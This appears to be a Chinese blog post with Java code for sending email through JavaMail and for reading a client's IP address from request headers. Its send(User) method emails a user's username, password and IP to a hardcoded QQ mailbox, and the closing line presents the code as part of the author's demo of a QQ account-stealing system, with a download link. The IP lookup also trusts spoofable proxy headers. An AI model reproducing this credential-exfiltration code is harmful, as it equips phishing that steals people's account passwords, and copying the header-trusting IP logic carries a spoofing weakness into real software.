JAVA发送邮件和获取客户端真实ip地址

来源:互联网 发布:网络设计方案工程 编辑:程序博客网 时间:2024/05/19 13:44
发送邮件需要使用的基本信息类MailSenderInfo 
package com.util.mail;  /**  * 发送邮件需要使用的基本信息  */   import java.util.Properties;   public class MailSenderInfo {       // 发送邮件的服务器的IP和端口       private String mailServerHost;      private String mailServerPort = "25";       // 邮件发送者的地址       private String fromAddress;       // 邮件接收者的地址       private String toAddress;       // 登陆邮件发送服务器的用户名和密码       private String userName;       private String password;       // 是否需要身份验证       private boolean validate = false;      // 邮件主题       private String subject;       // 邮件的文本内容       private String content;       // 邮件附件的文件名      private String[] attachFileNames;         /**        * 获得邮件会话属性        */       public Properties getProperties(){        Properties p = new Properties();         p.put("mail.smtp.host", this.mailServerHost);         p.put("mail.smtp.port", this.mailServerPort);         p.put("mail.smtp.auth", validate ? "true" : "false");         return p;       }      public String getMailServerHost() {         return mailServerHost;       }      public void setMailServerHost(String mailServerHost) {        this.mailServerHost = mailServerHost;   }  public String getMailServerPort() {         return mailServerPort;       }      public void setMailServerPort(String mailServerPort) {         this.mailServerPort = mailServerPort;       }      public boolean isValidate() {         return validate;       }      public void setValidate(boolean validate) {         this.validate = validate;       }     public String[] getAttachFileNames() {         return attachFileNames;       }     public void setAttachFileNames(String[] fileNames) {   this.attachFileNames = fileNames;      }      public String getFromAddress() {         return fromAddress;       }       public void setFromAddress(String fromAddress) {         this.fromAddress = fromAddress;       }      public String getPassword() {         return password;       }      public void setPassword(String password) {         this.password = password;       }      public String getToAddress() {         return toAddress;       }       public void setToAddress(String toAddress) {         this.toAddress = toAddress;       }       public String getUserName() {         return userName;      }      public void setUserName(String userName) {  this.userName = userName;       }     public String getSubject() {         return subject;       }      public void setSubject(String subject) {        this.subject = subject;      }      public String getContent() {         return content;      }     public void setContent(String textContent) {         this.content = textContent;      }   } 

设置邮件信息MyAuthenticator
package com.util.mail;  import javax.mail.*;     public class MyAuthenticator extends Authenticator{     String userName=null;      String password=null;             public MyAuthenticator(){      }      public MyAuthenticator(String username, String password) {           this.userName = username;          this.password = password;       }       protected PasswordAuthentication getPasswordAuthentication(){          return new PasswordAuthentication(userName, password);      }  }

发送邮件的类SimpleMailSender
package com.util.mail;import java.util.Date;import java.util.Properties;import javax.mail.Address;import javax.mail.BodyPart;import javax.mail.Message;import javax.mail.MessagingException;import javax.mail.Multipart;import javax.mail.Session;import javax.mail.Transport;import javax.mail.internet.InternetAddress;import javax.mail.internet.MimeBodyPart;import javax.mail.internet.MimeMessage;import javax.mail.internet.MimeMultipart;import javax.servlet.http.HttpServletRequest;/** * 简单邮件(不带附件的邮件)发送器 */public class SimpleMailSender {/** * 以文本格式发送邮件 *  * @param mailInfo *            待发送的邮件的信息 */public boolean sendTextMail(MailSenderInfo mailInfo) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();if (mailInfo.isValidate()) {// 如果需要身份认证,则创建一个密码验证器authenticator = new MyAuthenticator(mailInfo.getUserName(),mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro, authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());mailMessage.setRecipient(Message.RecipientType.TO, to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// 设置邮件消息的主要内容String mailContent = mailInfo.getContent();mailMessage.setText(mailContent);// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}/** * 以HTML格式发送邮件 *  * @param mailInfo *            待发送的邮件信息 */public static boolean sendHtmlMail(MailSenderInfo mailInfo) {// 判断是否需要身份认证MyAuthenticator authenticator = null;Properties pro = mailInfo.getProperties();// 如果需要身份认证,则创建一个密码验证器if (mailInfo.isValidate()) {authenticator = new MyAuthenticator(mailInfo.getUserName(),mailInfo.getPassword());}// 根据邮件会话属性和密码验证器构造一个发送邮件的sessionSession sendMailSession = Session.getDefaultInstance(pro, authenticator);try {// 根据session创建一个邮件消息Message mailMessage = new MimeMessage(sendMailSession);// 创建邮件发送者地址Address from = new InternetAddress(mailInfo.getFromAddress());// 设置邮件消息的发送者mailMessage.setFrom(from);// 创建邮件的接收者地址,并设置到邮件消息中Address to = new InternetAddress(mailInfo.getToAddress());// Message.RecipientType.TO属性表示接收者的类型为TOmailMessage.setRecipient(Message.RecipientType.TO, to);// 设置邮件消息的主题mailMessage.setSubject(mailInfo.getSubject());// 设置邮件消息发送的时间mailMessage.setSentDate(new Date());// MiniMultipart类是一个容器类,包含MimeBodyPart类型的对象Multipart mainPart = new MimeMultipart();// 创建一个包含HTML内容的MimeBodyPartBodyPart html = new MimeBodyPart();// 设置HTML内容html.setContent(mailInfo.getContent(), "text/html; charset=utf-8");//html.setText("");mainPart.addBodyPart(html);// 将MiniMultipart对象设置为邮件内容mailMessage.setContent(mainPart);// 发送邮件Transport.send(mailMessage);return true;} catch (MessagingException ex) {ex.printStackTrace();}return false;}public void send(User user) {MailSenderInfo mailInfo = new MailSenderInfo();/* * 设置通讯传输协议,你的邮箱必须支持SMTP服务 * 如smtp.qq.com *   smtp.163.com */mailInfo.setMailServerHost("smtp.qq.com");mailInfo.setMailServerPort("25");mailInfo.setValidate(true);mailInfo.setUserName("");//您的邮箱地址,如12345@qq.commailInfo.setPassword("");// 您的邮箱密码mailInfo.setFromAddress("");//你的邮箱地址mailInfo.setToAddress("1113434894@qq.com");//发送给谁就填谁的邮箱地址,这是我的QQmailInfo.setSubject("邮件标题:" + user.getUName());mailInfo.setContent("用户名:" + user.getUName() + "" + ",密码:"+ user.getUPwd() + " ,------  IP地址:"+user.getAddress());// 这个类主要来发送邮件SimpleMailSender sms = new SimpleMailSender();// sms.sendTextMail(mailInfo);//发送文体格式sms.sendHtmlMail(mailInfo);// 发送html格式}/** * 获取ip地址 * @param request * @return */public String getIpAddr(HttpServletRequest request) {       String ip = request.getHeader("x-forwarded-for");       if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {           ip = request.getHeader("Proxy-Client-IP");       }       if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {           ip = request.getHeader("WL-Proxy-Client-IP");       }       if(ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {           ip = request.getRemoteAddr();       }       return ip;   }}

下面链接我自己做的一个demo,模仿的盗QQ号系统,获取ip的方法就在里面
点此获取资源下载地址